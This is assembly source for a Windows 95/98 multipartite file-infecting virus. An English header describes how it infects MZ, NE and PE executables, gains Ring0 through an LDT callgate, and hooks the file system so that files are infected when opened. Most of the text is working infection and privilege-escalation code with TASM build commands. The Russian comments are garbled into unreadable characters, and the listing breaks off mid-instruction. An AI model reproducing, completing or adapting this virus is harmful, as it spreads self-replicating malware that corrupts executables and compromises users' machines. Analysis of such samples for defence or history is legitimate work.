DEBUG = 0 ; 1 - ขชซ๎็จโ์ ฎโซ คฎ็ญ๋ฉ เฅฆจฌ ; 0 - ข๋ชซ๎็จโ์ ฎโซ คฎ็ญ๋ฉ เฅฆจฌ COMMENT % MZ-EXE.NE-EXE.PE-EXE.R0-TSR. Infects MZ-EXE files by appending to the end of file, NE-EXE by creating of new segment at the end of file and PE-EXE by appending to the last section. Operates under Windows95/98 only. At starting from MZ-EXE: creating of temporary dropper, V86->PROT16 (by using of DPMI calls), PROT16->PROT32R0 (by creating of callgate at the LDT). At starting from NE-EXE: PROT16->PROT32R0. At starting from PE-EXE: installing of SEH, PROT32R3->PROT32R0. When entered Ring0, virus installs itself into system memory and hooks IFS. ฅเฅค ข ฌจ ฌฎ๏ ขโฎเ ๏ ฏฎฏ๋โช  แฎงค ญจ๏ ขจเใแ  คซ๏ Windows95. ’ ช ฏฎซใ็จซฎแ์, ็โฎ ํโฎโ ขจเใแ ข๋ๅฎคจโ ข แขฅโ เ ญ์่ฅ ฏเฅค๋คใ้ฅฃฎ (โ ฌ ญใฆญฎ ชฎฅ-็โฎ คฎคฅซ โ์), ญใ   ํโฎโ ฏเฎคใชโ โฎฆฅ กใคฅโ ฏฎโฎฌ คฎเ ก โ๋ข โ์แ๏. ‚จเใแ ๏ขซ๏ฅโแ๏ ข ญฅชฎโฎเฎฌ เฎคฅ ฌใซ์โจฏซ โไฎเฌฅญญ๋ฌ. Žญ ง เ ฆ ฅโ MZ, NE จ PE-EXE, ญฎ เ กฎโฎแฏฎแฎกฅญ โฎซ์ชฎ ฏฎค Windows95/98. ‡ เ ฆฅญจฅ ฏเฎจแๅฎคจโ ฏเจ ฎโชเ๋โจจ ไ ฉซ . Žกเ ก โ๋ข ๎โแ๏ ไ ฉซ๋ แ  โเจกใโฎฌ "ReadOnly". €โเจกใโ๋ ไ ฉซ  ญฅ จงฌฅญ๏๎โแ๏. ‡ เ ฆฅญจฅ ไ ฉซฎข: * MZ-EXE. ‘โ ญค เโญ๋ฌ ฎกเ งฎฌ คฎฏจแ๋ข ฅโแ๏ ข ชฎญฅๆ ไ ฉซ  จ ชฎเเฅชโจเใฅโ MZ-EXE ง ฃฎซฎขฎช. * NE-EXE. „ฎก ขซ๏ฅโ ข โ กซจๆใ แฅฃฌฅญโฎข ฎฏจแ ญจฅ ฅ้ฅ ฎคญฎฃฎ แฅฃฌฅญโ . „ ซฅฅ ชฎเเฅชโจเใฅโ NE-EXE ง ฃฎซฎขฎช จ คฎฏจแ๋ข ฅโแ๏ ข ชฎญฅๆ ไ ฉซ . * PE-EXE. „ฎฏจแ๋ข ฅโแ๏ ช ฏฎแซฅคญฅฉ แฅชๆจจ จ ชฎเเฅชโจเใฅโ PE-EXE ง ฃฎซฎขฎช จ คฅแชเจฏโฎเ ฏฎแซฅคญฅฉ แฅชๆจจ. ‚จเใแ เฅงจคฅญโญ๋ฉ. “แโ ญฎขช  ข ฏ ฌ๏โ์ ฎแใ้ฅแโขซ๏ฅโแ๏ แซฅคใ๎้จฌ ฎกเ งฎฌ: * PE-EXE. Žกเ กฎโ็จช จแชซ๎็ฅญจฉ (SEH) ใแโ ญ ขซจข ฅโแ๏ ญ  ขจเใแ, ็โฎก๋ ญฅ คฎฏใแโจโ์ ฃซ๎ชฎข ฏฎค WindowsNT. ‚ 1-ฎฌ คฅแชเจฏโฎเฅ LDT แฎงค ฅโแ๏ ่ซ๎ง ข๋งฎข  (CallGate), ชฎโฎเ๋ฉ ใช ง๋ข ฅโ ญ  ฏเฎๆฅคใเใ Ring0. เจ ข๋งฎขฅ ํโฎฃฎ CallGate ฏเฎๆฅคใเ  Ring0 ฏฎซใ็ ฅโ ใฏเ ขซฅญจฅ แ ฏเจขฅซฅฃจ๏ฌจ ญใซฅขฎฃฎ ชฎซ์ๆ . โ  ฏเฎๆฅคใเ  ข๋คฅซ๏ฅโ แโเ ญจๆใ ฏ ฌ๏โจ ข ฎกซ แโจ ข๋่ฅ 2Gb, ง ้จ้ ฅโ ฅฅ ฎโ ็โฅญจ๏ จง 3-ฃฎ ชฎซ์ๆ  จ ชฎฏจเใฅโ โใค  ขจเใแ. ‡ โฅฌ ฏฅเฅๅข โ๋ข๋ ฅโแ๏ ฎกเ กฎโ็จช IFS จ ใแโ ญ ขซจข ฅโแ๏ ฎกเ กฎโ็จช ฏฎเโ  28h (็โฎก๋ ฎฏเฅคฅซ๏โ์ ฏเจแใโแโขจฅ ชฎฏจจ ขจเใแ  ข ฏ ฌ๏โจ). „ ซฅฅ ฏเฎจแๅฎคจโ ขฎงขเ โ ข 3-ฅ ชฎซ์ๆฎ, จ ใฏเ ขซฅญจฅ ฎโค ฅโแ๏ ไ ฉซใ-ญฎแจโฅซ๎. * NE-EXE. ’ฎ ฆฅ แ ฌฎฅ, ็โฎ จ ข PE-EXE, โฎซ์ชฎ ่ซ๎ง ข๋งฎข  แฎงค ฅโแ๏ แ ฏฎฌฎ้์๎ DPMI-ข๋งฎขฎข. * MZ-EXE.   คจแช แกเ แ๋ข ฅโแ๏ จ ง ฏใแช ฅโแ๏ คเฎฏฏฅเ แ ขจเใแฎฌ, ข ญ ็ ซฅ ชฎโฎเฎฃฎ เ แฏฎซฎฆฅญ  ฏเฎๆฅคใเ  ฏฅเฅๅฎค  ข ญใซฅขฎฅ ชฎซ์ๆฎ. โ  ฏเฎๆฅคใเ  ข๋ฏฎซญ๏ฅโ ฏฅเฅๅฎค ข ง ้จ้ฅญญ๋ฉ เฅฆจฌ. „ ซฅฅ ขแฅ ฏเฎจแๅฎคจโ โ ช ฆฅ, ช ช ข NE-EXE. ฎแซฅ ํโฎฃฎ คเฎฏฏฅเ ใค ซ๏ฅโแ๏ แ คจแช ,   ใฏเ ขซฅญจฅ ฏฅเฅค ฅโแ๏ ฏเฎฃเ ฌฌฅ-ญฎแจโฅซ๎. DJ Sadovnikov (http://i.am/djsad), 12.12.2000 ออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออ Šฎฌฏจซจเฎข โ์ แ ฏฎฌฎ้์๎ TASM 4.1+ tasm /m winmulti.asm tlink /3 /x winmulti.obj del winmulti.obj ” ฉซ๋ จง  เๅจข : winmulti.asm 23000 (จแๅฎคญจช ขจเใแ ) winmulti.exe 2557 (กจญ เญจช ขจเใแ ) winmulti.doc 10870 (โฅๅญจ็ฅแช ๏ จญไฎเฌ ๆจ๏) % ;ออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออ .386p Code16 segment byte use16 assume cs:Code16, ds:Code16 Start: mov ah, 9 mov dx, offset Msg+100h int 21h mov ax, 4C00h int 21h Msg db 'Virus has started...$' ;ออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออ ;ออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออ ; „Ž… „‹Ÿ ……•Ž„€ ˆ‡ V86 ‚ RING0 ;ออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออ ;[“ชฎเ ็จข ฅฌ โฅชใ้จฉ กซฎช ฏ ฌ๏โจ] Start16: mov ah, 4Ah mov bx, 1000h int 21h jc Terminate ;[ฎซใ็ ฅฌ  คเฅแ DPMI] mov ax, 1687h int 2Fh or ax, ax jnz Terminate mov ds:[OfsDPMI-Start16+100h], di mov ds:[SegDPMI-Start16+100h], es ;[‚๋คฅซ๏ฅฌ ฏ ฌ๏โ์ คซ๏ ค ญญ๋ๅ DPMI] mov ah, 48h mov bx, si int 21h jc Terminate mov ds, ax mov es, ax ;[ฅเฅๅฎคจฌ ข ง ้จ้ฅญญ๋ฉ เฅฆจฌ] xor ax, ax db 9Ah OfsDPMI dw 0 SegDPMI dw 0 jc Terminate ;[“แโ ญ ขซจข ฅฌ ขจเใแ ข ฏ ฌ๏โ์] call EnterR0 ;[Žโค ฅฌ ใฏเ ขซฅญจฅ DOS] Terminate: mov ax, 4C00h int 21h ;ออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออ ;ออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออ ; ’€‡ˆ’€Ÿ —€‘’œ „‹Ÿ ……•Ž„€ ˆ‡ PROT16 ‚ PROT32 ;ออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออ EnterR0: call Entry1 Entry1: pop si sub si, Entry1-Start16 ;[‘ฎงค ฅฌ คฎฏฎซญจโฅซ์ญ๋ฉ คฅแชเจฏโฎเ] mov ax, 0Ah mov bx, cs int 31h mov ds, ax ;[‘ฎๅเ ญ๏ฅฌ ข แโฅชฅ เ งฌฅเ จ  คเฅแ GDT] sub sp, 6 mov bp, sp sgdt [bp] ;[“แโ ญ ขซจข ฅฌ ญฎข๋ฉ เ งฌฅเ แฅฃฌฅญโ  DS] mov ax, 8 mov bx, ds xor cx, cx pop dx int 31h ;[“แโ ญ ขซจข ฅฌ แฅฃฌฅญโ DS ญ  GDT] mov ax, 7 mov bx, ds pop dx pop cx int 31h ;[ฎซใ็ ฅฌ  คเฅแ LDT] sldt bx and bl, 11111000b jz Error mov cl, ds:[bx+4] mov ch, ds:[bx+7] mov dx, ds:[bx+2] ;[“แโ ญ ขซจข ฅฌ แฅฃฌฅญโ DS ญ  LDT] mov ax, 7 mov bx, ds int 31h ;[‘ฎๅเ ญ๏ฅฌ ฏฅเข๋ฉ คฅแชเจฏโฎเ ข LDT] push dword ptr ds:[0] push dword ptr ds:[4] ;[‚๋็จแซ๏ฅฌ ซจญฅฉญ๋ฉ  คเฅแ ฌฅโชจ Ring0] mov ax, 6 mov bx, cs int 31h lea ax, [(Ring0-Start32)+(EndCode16-Start16)+si] add dx, ax adc cx, 0 ;[‘ฎงค ฅฌ ข ฏฅเขฎฌ คฅแชเจฏโฎเฅ LDT ่ซ๎ง ข๋งฎข ] mov ds:[0], dx mov ds:[2], (11101100b shl 24) + 28h mov ds:[6], cx ;[ฅเฅๅฎคจฌ ข ญใซฅขฎฅ ชฎซ์ๆฎ] db 9Ah dw 0 dw 00000111b ;[‚ฎแแโ ญ ขซจข ฅฌ ฏฅเข๋ฉ คฅแชเจฏโฎเ LDT] pop dword ptr ds:[4] pop dword ptr ds:[0] ;[“ญจ็โฎฆ ฅฌ แฎงค ญญ๋ฉ เ ญฅฅ คฎฏฎซญจโฅซ์ญ๋ฉ คฅแชเจฏโฎเ] Error: mov ax, 1 mov bx, ds int 31h ret ;ออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออ ;ออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออ ; ’€‡ˆ’€Ÿ —€‘’œ „‹Ÿ MZ-EXE ;ออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออ StartMZ: pusha push ds es call Entry2 Entry2: pop si sub si, Entry2-Start16 ;[เฎขฅเ๏ฅฌ ญ ซจ็จฅ ขจเใแ  ข ฏ ฌ๏โจ] in ax, 28h cmp ax, 0ABCDh je QuitMZ ;[ฎซใ็ ฅฌ ขฅเแจ๎ Windows] mov ax, 1600h int 2Fh cmp al, 4 jne QuitMZ ;[“ชฎเ ็จข ฅฌ โฅชใ้จฉ กซฎช ฏ ฌ๏โจ] mov ax, ds dec ax mov ds, ax mov bx, ds:[3] sub bx, 2000h mov ah, 4Ah int 21h jc QuitMZ ;[‘ฎงค ฅฌ ไ ฉซ คซ๏ คเฎฏฏฅเ ] mov ah, 3Ch xor cx, cx lea dx, [FName-Start16+si] push cs pop ds int 21h jc QuitMZ xchg bx, ax ;[‡ ฏจแ๋ข ฅฌ ข ญฅฃฎ ชฎค ขจเใแ ] mov ah, 40h mov cx, CodeSize mov dx, si int 21h jc QuitMZ ;[‡ ชเ๋ข ฅฌ ไ ฉซ] mov ah, 3Eh int 21h jc QuitMZ ;[ฎคฃฎโ ขซจข ฅฌ กซฎช ฏ เ ฌฅโเฎข คซ๏ ง ฏใแช  คเฎฏฏฅเ ] lea bx, [PBlock-Start16+si] mov ds:[bx+04h], cs mov ds:[bx+08h], cs mov ds:[bx+0Ch], cs ;[‡ ฏใแช ฅฌ คเฎฏฏฅเ] mov ax, 4B00h lea dx, [FName-Start16+si] push cs pop es int 21h ;[“ค ซ๏ฅฌ คเฎฏฏฅเ] mov ah, 41h lea dx, [FName-Start16+si] int 21h ;[Žโค ฅฌ ใฏเ ขซฅญจฅ ไ ฉซใ-ญฎแจโฅซ๎] QuitMZ: pop es ds mov ax, es add ax, 10h add cs:[OldCSIP+2-Start16+si], ax add cs:[OldSS+1-Start16+si], ax popa jmp $+2 cli OldSS: mov sp, 0 mov ss, sp OldSP: mov sp, 0 sti db 0EAh OldCSIP dd 0 PBlock dw 0 dw 80h, 0 dw 5Ch, 0 dw 6Ch, 0 FName db 'DJ.SAD',0 ;ออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออ ;ออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออ ; ’€‡ˆ’€Ÿ —€‘’œ „‹Ÿ NE-EXE ;ออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออ StartNE: pusha push ds es ;[เฎขฅเ๏ฅฌ ญ ซจ็จฅ ขจเใแ  ข ฏ ฌ๏โจ] in ax, 28h cmp ax, 0ABCDh je QuitNE ;[ฎซใ็ ฅฌ ขฅเแจ๎ Windows] mov ax, 1600h int 2Fh cmp al, 4 jne QuitNE ;[เฎขฅเ๏ฅฌ ญ ซจ็จฅ DPMI] mov ax, 1686h int 2Fh or ax, ax jnz QuitNE ;[“แโ ญ ขซจข ฅฌ ขจเใแ ข ฏ ฌ๏โ์] call EnterR0 ;[Žโค ฅฌ ใฏเ ขซฅญจฅ ไ ฉซใ-ญฎแจโฅซ๎] QuitNE: pop es ds popa db 0EAh ReloCSIP dd 0 EndCode16 = $ Code16 ends ;ออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออ ;ออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออ ; ’€‡ˆ’€Ÿ —€‘’œ „‹Ÿ PE-EXE ;ออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออ Code32 segment byte use32 assume cs:Code32, ds:Code32 Start32 = $ StartPE: pushfd pushad ;[“แโ ญ ขซจข ฅฌ ฎกเ กฎโ็จช จแชซ๎็ฅญจฉ] call Seh mov esp, [esp+8] jmp QuitPE Seh: push dword ptr fs:[0] mov fs:[0], esp ;[เฎขฅเ๏ฅฌ ญ ซจ็จฅ ขจเใแ  ข ฏ ฌ๏โจ] in ax, 28h cmp ax, 0ABCDh je QuitPE ;[‚๋็จแซ๏ฅฌ EIP] call Entry3 Entry3: pop ebp sub ebp, Entry3-Start32 ;[‚๋็จแซ๏ฅฌ  คเฅแ LDT] push ebx sgdt [esp-2] pop ebx xor eax, eax sldt ax and al, 11111000b jz QuitPE add ebx, eax mov eax, [ebx+1] mov al, [ebx+7] ror eax, 8 xchg edi, eax ;[‘ฎๅเ ญ๏ฅฌ ฏฅเข๋ฉ คฅแชเจฏโฎเ LDT] push dword ptr [edi] push dword ptr [edi+4] ;[‘ฎงค ฅฌ ข ฏฅเขฎฌ คฅแชเจฏโฎเฅ LDT ่ซ๎ง ข๋งฎข ] lea eax, [Ring0-Start32+ebp] mov [edi], eax mov [edi+4], eax mov [edi+2], (11101100b shl 24) + 28h ;[ฅเฅๅฎคจฌ ข ญใซฅขฎฅ ชฎซ์ๆฎ] db 9Ah dd 0 dw 00000111b ;[‚ฎแแโ ญ ขซจข ฅฌ ฏฅเข๋ฉ คฅแชเจฏโฎเ LDT] pop dword ptr [edi+4] pop dword ptr [edi] ;[Žโค ฅฌ ใฏเ ขซฅญจฅ ไ ฉซใ-ญฎแจโฅซ๎] QuitPE: pop dword ptr fs:[0] pop eax ; Fixup stack popad popfd db 0E9h RetAddress dd 0 ;ออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออ ;ออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออ ; ’€‡ˆ’€Ÿ —€‘’œ „‹Ÿ RING0 ;ออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออ Ring0: pushad push ds es push ss ss pop ds es ;[‚๋็จแซ๏ฅฌ EIP] call Entry4 Entry4: pop ebp sub ebp, Entry4-Start32 ;[‚๋คฅซ๏ฅฌ ฏ ฌ๏โ์] push 9 xor eax, eax push eax push eax push eax push eax push eax inc eax push eax push large MemSize push 00010053h ; _PageAllocate call VxDcall add esp, 4*8 or eax, eax jz Quit ;[‘กเ แ๋ข ฅฌ ไซ ฆฎช ง ญ๏โฎแโจ] mov byte ptr [Busy-Start32+ebp], 0 ;[Šฎฏจเใฅฌ ชฎค ข ฏ ฌ๏โ์] mov edi, eax lea esi, [Start16-EndCode16+ebp] mov ecx, CodeSize cld rep movsb mov edi, eax ;[‡ ้จ้ ฅฌ แโเ ญจๆใ ฎโ ็โฅญจ๏ จง 3-ฃฎ ชฎซ์ๆ ] push 20000000h push not 00060000h push large MemSize shr eax, 12 push eax push 00010133h ; _PageModifyPermisions call VxDcall add esp, 4*4 ;[“แโ ญ ขซจข ฅฌ ฎกเ กฎโ็จช ฏฎเโ  28h] lea esi, [(Port28h-Start32)+(EndCode16-Start16)+edi] mov edx, 28h push 00010096h ; Install_IO_Handler call VxDcall jc Quit ;[“แโ ญ ขซจข ฅฌ แขฎฉ ฎกเ กฎโ็จช IFS] lea eax, [(ApiHook-Start32)+(EndCode16-Start16)+edi] push eax push 00400067h ; InstallFileSystemApiHook call VxDcall mov [(PrevHook-Start32)+(EndCode16-Start16)+edi], eax pop eax Quit: pop es ds popad retf ;ออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออ ;ออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออ ; Ž€Ž’—ˆŠˆ ;ออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออ Port28h: mov ax, 0ABCDh ret ;[เฎขฅเ๏ฅฌ, ช ชใ๎ ไใญชๆจ๎ ฏ๋โ ๎โแ๏ ข๋ฏฎซญจโ์] ApiHook: cmp [esp+08h], dword ptr 0024h ; FileOpen jne Exit1 ;[‚๋็จแซ๏ฅฌ EIP] pushad call Entry5 Entry5: pop ebp sub ebp, Entry5-Start32 ;[“แโ ญ ขซจข ฅฌ ไซ ฆฎช ง ญ๏โฎแโจ] cmp byte ptr [Busy-Start32+ebp], 0FFh je Exit2 not byte ptr [Busy-Start32+ebp] ;[Žฏเฅคฅซ๏ฅฌ กใชขใ คจแช ] lea esi, [FileName-Start32+ebp] mov al, [esp+0Ch+20h] cmp al, 0 jle Exit3 add al, 'A'-1 mov ah, ':' mov [esi], ax ;[เฅฎกเ งฎข๋ข ฅฌ ชฎคจเฎขชใ] mov eax, [esp+18h+20h] mov eax, [eax+0Ch] add eax, 4 push dword ptr [esp+14h+20h] push 254 push eax lea eax, [esi+2] push eax push 00400041h ; UniToBCSPath call VxDcall add esp, 4*4 or edx, edx jnz Exit3 mov [esi+eax+2], byte ptr 0 ;[เฎขฅเ๏ฅฌ เ แ่จเฅญจฅ ไ ฉซ ] cmp [esi+eax-2], 'EXE.' IF DEBUG org $-4 dd 'XXX.' ENDIF jne Exit3 ;[…แซจ ํโฎ KRNL386.EXE, โฎ ข๋ๅฎคจฌ] cmp [esi+eax-9], 'LNRK' je Exit3 ;[ฎซใ็ ฅฌ  โเจกใโ๋ ไ ฉซ ] mov ax, 4300h ; R0_GetFileAttributes call FileIO jc Exit3 push ecx push esi ;[Žกญใซ๏ฅฌ  โเจกใโ๋ ไ ฉซ ] mov ax, 4301h ; R0_SetFileAttributes xor ecx, ecx call FileIO jc RestAttr ;[Žโชเ๋ข ฅฌ ไ ฉซ] mov eax, 0D500h ; R0_OpenCreateFile mov bx, 2022h mov dx, 1 call FileIO jc RestAttr xchg ebx, eax ;[‘็จโ๋ข ฅฌ MZ ง ฃฎซฎขฎช] mov ecx, DosHeaderSize xor edx, edx lea esi, [DosHeader-Start32+ebp] call Read jc Close ;[เฎขฅเ๏ฅฌ โจฏ ไ ฉซ  จ ฅฃฎ ง เ ฆฅญญฎแโ์] cmp [DosHeader-Start32+00h+ebp], word ptr 'ZM' jne Close cmp [DosHeader-Start32+12h+ebp], word ptr 6666h je Close ;[‘็จโ๋ข ฅฌ ็ฅโ๋เฅ ก ฉโ  ฏฎ แฌฅ้ฅญจ๎ 3Ch ฎโ ญ ็ ซ  ไ ฉซ ] mov ecx, 4 mov edx, 3Ch lea esi, [WinHeaderOfs-Start32+ebp] call Read jc Close ;[‘็จโ๋ข ฅฌ PE ง ฃฎซฎขฎช] mov ecx, WinHeaderSize mov edx, [WinHeaderOfs-Start32+ebp] lea esi, [WinHeader-Start32+ebp] call Read jc Close cmp eax, ecx jne InfectMZ ;[เฎขฅเ๏ฅฌ โจฏ ไ ฉซ ] mov ax, [WinHeader-Start32+ebp] cmp ax, 'EP' je InfectPE cmp ax, 'EN' je InfectNE cmp ax, 'EL' je Close cmp ax, 'XL' jne InfectMZ ;[‡ ชเ๋ข ฅฌ ไ ฉซ] Close: mov eax, 0D700h ; R0_CloseFile call FileIO ;[‚ฎแแโ ญ ขซจข ฅฌ  โเจกใโ๋ ไ ฉซ ] RestAttr: mov ax, 4301h pop esi pop ecx call FileIO ;[‘กเ แ๋ข ฅฌ ไซ ฆฎช ง ญ๏โฎแโจ จ ฏฅเฅค ฅฌ ใฏเ ขซฅญจฅ ค ซ์่ฅ] Exit3: not byte ptr [Busy-Start32+ebp] Exit2: popad Exit1: dw 25FFh PrevHook dd 0 ;ออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออ ;ออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออ ; ‡€€†…ˆ… ”€‰‹Ž‚ ;ออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออ ;[เฎขฅเ๏ฅฌ, ง เ ฆฅญ ซจ ไ ฉซ] InfectPE: cmp [WinHeader+58h-Start32+ebp], '6666' je Close ;[‚๋็จแซ๏ฅฌ แฌฅ้ฅญจฅ ฏฎแซฅคญฅฃฎ ํซฅฌฅญโ  ข โ กซจๆฅ ฎก๊ฅชโฎข] xor eax, eax imul ax, [WinHeader+06h-Start32+ebp], PEObjectSize add ax, [WinHeader+14h-Start32+ebp] add ax, 18h-PEObjectSize add eax, [WinHeaderOfs-Start32+ebp] mov [WinObjectOfs-Start32+ebp], eax ;[‘็จโ๋ข ฅฌ ฏฎแซฅคญจฉ ํซฅฌฅญโ โ กซจๆ๋ ฎก๊ฅชโฎข] xchg edx, eax mov ecx, PEObjectSize lea esi, [WinObject-Start32+ebp] call Read jc Close ;[‘เ ขญจข ฅฌ ไจงจ็ฅแชจฉ จ ขจเโใ ซ์ญ๋ฉ เ งฌฅเ๋ ฎก๊ฅชโ ] mov eax, [WinObject+10h-Start32+ebp] cmp [WinObject+08h-Start32+ebp], eax jae Skip mov [WinObject+08h-Start32+ebp], eax ;[‘ฎๅเ ญ๏ฅฌ แโ เใ๎ จ ข๋็จแซ๏ฅฌ ญฎขใ๎ โฎ็ชใ ขๅฎค ] Skip: add eax, [WinObject+0Ch-Start32+ebp] add eax, large (StartPE-Start32)+(EndCode16-Start16) mov ecx, [WinHeader+28h-Start32+ebp] sub ecx, eax sub ecx, (RetAddress+4)-StartPE mov [RetAddress-Start32+ebp], ecx mov [WinHeader+28h-Start32+ebp], eax ;[Šฎเเฅชโจเใฅฌ เ งฌฅเ ไ ฉซ ] add eax, EndCode32-Start32 mov [WinHeader+50h-Start32+ebp], eax ;[‚๋็จแซ๏ฅฌ แฌฅ้ฅญจฅ, ฏฎ ชฎโฎเฎฌใ ญใฆญฎ ง ฏจแ โ์ ขจเใแ] mov eax, [WinObject+14h-Start32+ebp] add eax, [WinObject+10h-Start32+ebp] ;[Šฎเเฅชโจเใฅฌ ขจเโใ ซ์ญ๋ฉ จ ไจงจ็ฅแชจฉ เ งฌฅเ๋ ฏฎแซฅคญฅฃฎ ฎก๊ฅชโ ] add [WinObject+08h-Start32+ebp], large dword ptr CodeSize add [WinObject+10h-Start32+ebp], large dword ptr CodeSize ;[“แโ ญ ขซจข ฅฌ ฏเจงญ ช ง เ ฆฅญญฎแโจ] mov [WinHeader+58h-Start32+ebp], '6666' ;[‡ ฏจแ๋ข ฅฌ ชฎค ขจเใแ  ข ไ ฉซ] call WriteVirus1 jc Close ;[‡ ฏจแ๋ข ฅฌ ญฎข๋ฉ PE ง ฃฎซฎขฎช] mov ecx, PEHeaderSize mov edx, [WinHeaderOfs-Start32+ebp] lea esi, [WinHeader-Start32+ebp] call Write jc Close ;[‡ ฏจแ๋ข ฅฌ ญฎข๋ฉ ฏฎแซฅคญจฉ ํซฅฌฅญโ โ กซจๆ๋ ฎก๊ฅชโฎข] mov ecx, PEObjectSize mov edx, [WinObjectOfs-Start32+ebp] lea esi, [WinObject-Start32+ebp] call Write jmp Close ;ออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออ ;[เฎขฅเ๏ฅฌ, แฎคฅเฆจโ ซจ ไ ฉซ ฎขฅเซฅจ] InfectMZ: call GetFSize jc Close call Calc cmp [DosHeader+02h-Start32+ebp], eax jne Close ;[‚๋็จแซ๏ฅฌ คซจญใ ไ ฉซ  แ ขจเใแฎฌ] call GetFSize jc Close add eax, large CodeSize call Calc mov [DosHeader+02h-Start32+ebp], eax ;[‘ฎๅเ ญ๏ฅฌ SS, SP, CS จ IP] mov ax, [DosHeader+0Eh-Start32+ebp] mov [OldSS-EndCode16+1+ebp], ax mov ax, [DosHeader+10h-Start32+ebp] mov [OldSP-EndCode16+1+ebp], ax mov eax, [DosHeader+14h-Start32+ebp] mov [OldCSIP-EndCode16+ebp], eax ;[‚๋็จแซ๏ฅฌ ญฎขใ๎ โฎ็ชใ ขๅฎค ] call GetFSize jc Close xor edx, edx mov ecx, 16 div ecx sub ax, [DosHeader+08h-Start32+ebp] add dx, StartMZ-Start16 ;[Šฎเเฅชโจเใฅฌ โฎ็ชใ ขๅฎค  จ  คเฅแ แโฅช ] mov [DosHeader+16h-Start32+ebp], ax mov [DosHeader+14h-Start32+ebp], dx mov [DosHeader+0Eh-Start32+ebp], ax mov [DosHeader+10h-Start32+ebp], word ptr CodeSize+100h ;[“แโ ญ ขซจข ฅฌ ฏเจงญ ช ง เ ฆฅญญฎแโจ] mov [DosHeader+12h-Start32+ebp], word ptr 6666h ;[‡ ฏจแ๋ข ฅฌ ขจเใแ ข ไ ฉซ] call GetFSize jc Close call WriteVirus1 jc Close ;[‡ ฏจแ๋ข ฅฌ ญฎข๋ฉ MZ ง ฃฎซฎขฎช] mov ecx, DosHeaderSize xor edx, edx lea esi, [DosHeader-Start32+ebp] call Write jmp Close ;ออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออ ;[เฎขฅเ๏ฅฌ, ง เ ฆฅญ ซจ ไ ฉซ] InfectNE: cmp [WinHeader+08h-Start32+ebp], '6666' je Close ;[เฎขฅเ๏ฅฌ ฎฏฅเ ๆจฎญญใ๎ แจแโฅฌใ, คซ๏ ชฎโฎเฎฉ ฏเฅคญ งญ ็ฅญ ไ ฉซ] test [WinHeader+36h-Start32+ebp], byte ptr 00000010b jz Close ;[‘ฎๅเ ญ๏ฅฌ แโ เโฎข๋ฉ  คเฅแ] mov eax, [WinHeader+14h-Start32+ebp] ror eax, 16 mov [ReloCSIP-EndCode16+ebp], 0FFFF0000h ;[ แโเ จข ฅฌ Relocation Table] mov [RelocTable+00h-Start32+ebp], 04030001h mov [RelocTable+04h-Start32+ebp], word ptr (ReloCSIP-Start16) mov [RelocTable+06h-Start32+ebp], eax ;[“ขฅซจ็จข ฅฌ แฌฅ้ฅญจฅ ขแฅๅ โ กซจๆ ญ  ฎคจญ ํซฅฌฅญโ] mov ax, NEObjectSize add [WinHeader+04h-Start32+ebp], ax add [WinHeader+24h-Start32+ebp], ax add [WinHeader+26h-Start32+ebp], ax add [WinHeader+28h-Start32+ebp], ax add [WinHeader+2Ah-Start32+ebp], ax sub [WinHeaderOfs-Start32+ebp], ax ;[“ขฅซจ็จข ฅฌ ชฎซจ็ฅแโขฎ แฅฃฌฅญโฎข จ ข๋็จแซ๏ฅฌ ญฎข๋ฉ แโ เโฎข๋ฉ  คเฅแ] mov ax, [WinHeader+1Ch-Start32+ebp] inc ax mov [WinHeader+1Ch-Start32+ebp], ax mov [WinHeader+16h-Start32+ebp], ax mov [WinHeader+14h-Start32+ebp], word ptr (StartNE-Start16) ;[“แโ ญ ขซจข ฅฌ ฏเจงญ ช ง เ ฆฅญญฎแโจ] mov [WinHeader+08h-Start32+ebp], '6666' ;[‡ ฏจแ๋ข ฅฌ ญฎข๋ฉ ใช ง โฅซ์ ญ  NE-EXE ง ฃฎซฎขฎช] mov ecx, 4 mov edx, 3Ch lea esi, [WinHeaderOfs-Start32+ebp] call Write jc Close ;[‡ ฏจแ๋ข ฅฌ ญฎข๋ฉ NE-EXE ง ฃฎซฎขฎช] mov ecx, NEHeaderSize mov edx, [WinHeaderOfs-Start32+ebp] lea esi, [WinHeader-Start32+ebp] call Write jc Close ;[‚๋็จแซ๏ฅฌ เ แฏฎซฎฆฅญจฅ โ กซจๆ๋ แฅฃฌฅญโฎข] movzx edx, word ptr [WinHeader+22h-Start32+ebp] mov eax, [WinHeaderOfs-Start32+ebp] add edx, eax ;[‘คขจฃ ฅฌ โ กซจๆใ แฅฃฌฅญโฎข ญ ง ค ญ  ฎคจญ คฅแชเจฏโฎเ] mov ecx, NEObjectSize lea esi, 